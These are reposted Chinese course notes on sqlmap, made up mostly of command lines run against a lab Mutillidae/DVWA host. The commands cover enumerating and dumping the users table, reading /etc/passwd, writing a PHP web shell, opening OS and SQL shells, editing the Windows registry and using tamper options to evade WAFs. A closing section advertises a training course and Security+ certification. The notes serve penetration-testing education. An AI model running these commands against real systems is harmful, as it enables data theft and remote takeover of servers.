SQLMAP自动注入-ENUMERATION、BRUTE FORCE、UDF IN

伪静态页面不能注入,这是错误的!

SQLMAP自动注入08-----ENUMERATION

--current-user

--current-db

--hostname

--users

--privileges -U username (CU当前账号)

--roles

--dbs

--tables,--exclude-sysdbs -D dvwa

-T user -D dvwa -C user --columns

root@R:~# sqlmap -u "http://192.168.1.115/mutillidae/index.php?page=user-info.php&username=1&password=2&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --tamper="tamper/between.py,tamper/randomcase.py,tamper/space?comment.py" -v 3 --current-user

root@R:~# sqlmap -u "http://192.168.1.115/mutillidae/index.php?page=user-info.php&username=1&password=2&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --tamper="tamper/between.py,tamper/randomcase.py,tamper/space?comment.py" -v 3 --user

root@R:~# sqlmap -u "http://192.168.1.115/mutillidae/index.php?page=user-info.php&username=1&password=2&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --tamper="tamper/between.py,tamper/randomcase.py,tamper/space?comment.py" -v 3 --privileges -U guest

root@R:~# sqlmap -u "http://192.168.1.115/mutillidae/index.php?page=user-info.php&username=1&password=2&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --tamper="tamper/between.py,tamper/randomcase.py,tamper/space?comment.py" -v 3 --roles

root@R:~# sqlmap -u "http://192.168.1.115/mutillidae/index.php?page=user-info.php&username=1&password=2&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --tamper="tamper/between.py,tamper/randomcase.py,tamper/space?comment.py" -v 3 --dbs

root@R:~# sqlmap -u "http://192.168.1.115/mutillidae/index.php?page=user-info.php&username=1&password=2&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --tamper="tamper/between.py,tamper/randomcase.py,tamper/space?comment.py" -v 3 -D dvwa --table

root@R:~# sqlmap -u "http://192.168.1.115/mutillidae/index.php?page=user-info.php&username=1&password=2&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --tamper="tamper/between.py,tamper/randomcase.py,tamper/space?comment.py" -v 3 -D dvwa -T users --columns

root@R:~# sqlmap -u "http://192.168.1.115/mutillidae/index.php?page=user-info.php&username=1&password=2&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --tamper="tamper/between.py,tamper/randomcase.py,tamper/space?comment.py" -v 3 -D dvwa -T users --count

SQLMAP自动注入08-----ENUMERATION

--schema --batch --exclude-sysdbs 元数据(使用默认选项)

--count

Dump数据

    --dump,-C,-T,-D,--start,--stop

    --dump-all --exclude-sysdbs

    --sql-query "select * from users"

root@R:~# sqlmap -u "http://192.168.1.115/mutillidae/index.php?page=user-info.php&username=1&password=2&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --tamper="tamper/between.py,tamper/randomcase.py,tamper/space?comment.py" -v 3 --schema --batch --exclude-sysdbs

root@R:~# sqlmap -u "http://192.168.1.115/mutillidae/index.php?page=user-info.php&username=1&password=2&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --tamper="tamper/between.py,tamper/randomcase.py,tamper/space?comment.py" -v 3 -D dvwa -T users --dump

root@R:~# sqlmap -u "http://192.168.1.115/mutillidae/index.php?page=user-info.php&username=1&password=2&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --tamper="tamper/between.py,tamper/randomcase.py,tamper/space?comment.py" -v 3 -D dvwa -T users --dump-all

root@R:~# sqlmap -u "http://192.168.1.115/mutillidae/index.php?page=user-info.php&username=1&password=2&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --sql-query "select * from users"

SQLMAP自动注入09-----BRUTE FORCE

Mysql<5.0,没有information_schema库

Mysql>=5.0,但无权读取information_schema库

微软的access数据库,默认无权读取MSysObjects库

--common-tables

--common-columns (Access系统表无列信息)

root@R:~# sqlmap -u "http://192.168.1.115/mutillidae/index.php?page=user-info.php&username=1&password=2&user-info-php-submit-button=View+Account+Details" --common-tables

SQLMAP自动注入10-----UDF INJECTION

--udf-inject,--shared-lib

    编译共享库创建并上传至DB Server,以此生成UDF实现高级注入

    Linux:  shared object

    Windows:  DLL

    http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-system-

    full-control-whitepaper-4633857

SQLMAP自动注入11-----FILE SYSTEM

--file-read="/etc/passwd"

--file-write="shell.php" --file-dest"/tmp/shell.php"

root@R:~# sqlmap -u "http://192.168.1.115/mutillidae/index.php?page=user-info.php&username=1&password=2&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --file-read="/etc/passwd"

root@R:~# cd /root/.sqlmap/output/192.168.1.115

root@R:/.sqlmap/output/192.168.1.115# ls

dump  files  log  session.sqlite  target.txt

root@R:/.sqlmap/output/192.168.1.115# cd files/

root@R:/.sqlmap/output/192.168.1.115/files# ls

_etc_passwd

root@R:/.sqlmap/output/192.168.1.115/files# cat _etc_passwd

root@R:~# vi shell.php

root@R:~# sqlmap -u "http://192.168.1.115/mutillidae/index.php?page=user-info.php&username=1&password=2&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --file-write="shell.php" --file-dest="/tmp/shell.php"

SQLMAP自动注入12-----OS

Mysql、postgresql

    上传共享库并生成sys_exec()、sys_eval()两个UDF

Mssql

    xp_cmdshell存储过程(有九用,禁了启,没有键)

--sql-shell

--os-shell

--os-cmd

root@R:~# sqlmap -u "http://192.168.1.115/mutillidae/index.php?page=user-info.php&username=1&password=2&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --os-cmd

root@R:~# sqlmap -u "http://192.168.1.115/mutillidae/index.php?page=user-info.php&username=1&password=2&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --os-shell

root@R:~# sqlmap -u "http://192.168.1.115/mutillidae/index.php?page=user-info.php&username=1&password=2&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --sql-shell

SQLMAP自动注入13-----WINDOWS REGISTORY

--reg-read

--reg-add

--reg-del

--reg-key、--reg-value、--reg-data、--reg-type

sqlmap.py -u="http://1.1.1.1/a.php?id=1 --reg-add\ --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG-SZ --reg-data=1

SQLMAP自动注入14-----GENERAL

-s: sqlite会话文件保存位置

-t: 记录流浪文件保存位置

--charset: 强制字符编码

    --charset=GBK

--crawl: 从起始位置爬站深度

    --batch --crawl=3

--csv-del: dump数据默认存于","分割的CSV文件中,指定其他分隔符

    --csv-del=";"

--dbms-cred: 指定数据库账号

SQLMAP自动注入14-----GENERAL

--flush-session: 清空session

--force-ssl

--fresh-queries: 忽略session查询结果

--hex: dump非ASCII字符内容时,将其编码为16进制形式,收到后解码还原

    sqlmap -u "http://1.1.1.1/s.php?id=1" --hex -v 3

--output-dir=/tmp

--parse-error: 分析和现实数据库内建报错信息

    sqlmap -u "http://1.1.1.1/sqlmap/a.php?id=1" --parse-errors

--save: 将命令保存成配置文件

root@R:~# sqlmap -u "http://192.168.1.115/mutillidae/index.php?page=user-info.php&username=1&password=2&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --dbs --fresh-queries --save

SQLMAP自动注入15-----MISCELLANEOUS

-z: 参数助记符

sqlmap --batch --random-agent --ignore-proxy --technique=BEU -u

"1.1.1.1/a.php?id=1"

sqlmap -z "bat,randcma,ign,tec=BEU" -u "1.1.1.1/a.php?id=1"

sqlmap -ignore-proxy --flush-session --technique=U --dump -D testdb -

T user -u "1.1.1.1/a.php?id=1"

sqlmap -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u

"1.1.1.1/vuln.php?id=1"

SQLMAP自动注入15-----MISCELLANEOUS

--answer

    sqlmap -u "http://1.1.1.1/a.php?id=1" --technique=E --

    answers="extending=N" --batch

--check-waf: 检测WAF/IPS/IDS

--hpp: HTTP parameter pollution

    绕过WAF/IPS/IDS的有效方法

    尤其对ASP/ISS 和 ASP.NET/IIS

--identify-waf: 彻底的waf/ips/ids检查

    支持30多种产品

SQLMAP自动注入15-----MISCELLANEOUS

--mobile: 模拟智能手机设备

--purge-output: 清楚output文件夹

--smart: 当有大量检测目标时,只选择基于错误的检测结果

--wizard: 向导

该笔记为安全牛课堂学员笔记,想看此课程或者信息安全类干货可以移步到安全牛课堂,可以结合技术课程复习加深,刚好这几天购课程有200优惠券可抵用,可以说相当划算了,>>>> 传送门

 

Security+认证为什么是互联网+时代最火爆的认证?

      牛妹先给大家介绍一下Security+

        Security+ 认证是一种中立第三方认证,其发证机构为美国计算机行业协会CompTIA ;是和CISSP、ITIL 等共同包含在内的国际 IT 业 10 大热门认证之一,和CISSP偏重信息安全管理相比,Security+ 认证更偏重信息安全技术和操作。

       通过该认证证明了您具备网络安全,合规性和操作安全,威胁和漏洞,应用程序、数据和主机安全,访问控制和身份管理以及加密技术等方面的能力。因其考试难度不易,含金量较高,目前已被全球企业和安全专业人士所普遍采纳。

Security+认证如此火爆的原因?  

       原因一:在所有信息安全认证当中,偏重信息安全技术的认证是空白的, Security+认证正好可以弥补信息安全技术领域的空白 。

      目前行业内受认可的信息安全认证主要有CISP和CISSP,但是无论CISP还是CISSP都是偏重信息安全管理的,技术知识讲的宽泛且浅显,考试都是一带而过。而且CISSP要求持证人员的信息安全工作经验都要5年以上,CISP也要求大专学历4年以上工作经验,这些要求无疑把有能力且上进的年轻人的持证之路堵住。在现实社会中,无论是找工作还是升职加薪,或是投标时候报人员,认证都是必不可少的,这给年轻人带来了很多不公平。而Security+的出现可以扫清这些年轻人职业发展中的障碍,由于Security+偏重信息安全技术,所以对工作经验没有特别的要求。只要你有IT相关背景,追求进步就可以学习和考试。

       原因二: IT运维人员工作与翻身的利器。

       在银行、证券、保险、信息通讯等行业,IT运维人员非常多,IT运维涉及的工作面也非常广。是一个集网络、系统、安全、应用架构、存储为一体的综合性技术岗。虽然没有程序猿们“生当做光棍,死亦写代码”的悲壮,但也有着“锄禾日当午,不如运维苦“的感慨。天天对着电脑和机器,时间长了难免有对于职业发展的迷茫和困惑。Security+国际认证的出现可以让有追求的IT运维人员学习网络安全知识,掌握网络安全实践。职业发展朝着网络安全的方向发展,解决国内信息安全人才的匮乏问题。另外,即使不转型,要做好运维工作,学习安全知识取得安全认证也是必不可少的。

        原因三:接地气、国际范儿、考试方便、费用适中!

CompTIA作为全球ICT领域最具影响力的全球领先机构,在信息安全人才认证方面是专业、公平、公正的。Security+认证偏重操作且和一线工程师的日常工作息息相关。适合银行、证券、保险、互联网公司等IT相关人员学习。作为国际认证在全球147个国家受到广泛的认可。

        在目前的信息安全大潮之下,人才是信息安全发展的关键。而目前国内的信息安全人才是非常匮乏的,相信Security+认证一定会成为最火爆的信息安全认证。

猜你喜欢

转载自www.cnblogs.com/anquanniu/p/9140888.html